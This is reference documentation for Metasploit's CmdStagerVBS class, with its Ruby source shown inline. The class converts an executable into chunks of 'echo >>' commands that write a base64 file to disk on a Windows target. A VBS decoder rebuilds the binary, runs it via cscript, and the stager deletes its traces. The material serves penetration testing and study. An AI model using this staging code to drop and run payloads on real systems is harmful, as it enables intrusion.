class Rex::Exploitation::CmdStagerVBS
This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.
This particular version uses Windows Scripting (VBS) to base64 decode a file, created via echo >>, and decode it to the final binary.
Requires: Windows Scripting Known Issue: errors with non-ascii-native systems
Written by bannedit
Public Class Methods
new(exe)
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Calls superclass method
Rex::Exploitation::CmdStagerBase::new
# File lib/rex/exploitation/cmdstager/vbs.rb, line 27 def initialize(exe) super @var_decoder = Rex::Text.rand_text_alpha(5) @var_encoded = Rex::Text.rand_text_alpha(5) @var_decoded = Rex::Text.rand_text_alpha(5) @decoder = nil # filled in later end
Public Instance Methods
cmd_concat_operator()
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Windows uses & to concat strings
# File lib/rex/exploitation/cmdstager/vbs.rb, line 119 def cmd_concat_operator " & " end
compress_commands(cmds, opts)
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We override compress commands just to stick in a few extra commands last second..
Calls superclass method
Rex::Exploitation::CmdStagerBase#compress_commands
# File lib/rex/exploitation/cmdstager/vbs.rb, line 104 def compress_commands(cmds, opts) # Make it all happen cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs" # Clean up after unless requested not to.. if (not opts[:nodelete]) cmds << "del #{@tempdir}#{@var_decoder}.vbs" cmds << "del #{@tempdir}#{@var_encoded}.b64" # NOTE: We won't be able to delete the exe while it's in use. end super end
encode_payload(opts)
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Simple base64…
# File lib/rex/exploitation/cmdstager/vbs.rb, line 53 def encode_payload(opts) Rex::Text.encode_base64(@exe) end
generate_cmds(opts)
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Override just to set the extra byte count
Calls superclass method
Rex::Exploitation::CmdStagerBase#generate_cmds
# File lib/rex/exploitation/cmdstager/vbs.rb, line 40 def generate_cmds(opts) # Set the start/end of the commands here (vs initialize) so we have @tempdir @cmd_start = "echo " @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64" xtra_len = @cmd_start.length + @cmd_end.length + 1 opts.merge!({ :extra => xtra_len }) super end
generate_cmds_decoder(opts)
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Generate the commands that will decode the file we just created
# File lib/rex/exploitation/cmdstager/vbs.rb, line 80 def generate_cmds_decoder(opts) # Allow decoder stub override (needs to input base64 and output bin) @decoder = opts[:decoder] if (opts[:decoder]) # Read the decoder data file f = File.new(@decoder, "rb") decoder = f.read(f.stat.size) f.close # Replace variables decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs") decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64") decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe") # Split it apart by the lines decoder.split("\n") end
parts_to_commands(parts, opts)
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Combine the parts of the encoded file with the stuff that goes before / after it.
# File lib/rex/exploitation/cmdstager/vbs.rb, line 62 def parts_to_commands(parts, opts) cmds = [] parts.each do |p| cmd = '' cmd << @cmd_start cmd << p cmd << @cmd_end cmds << cmd end cmds end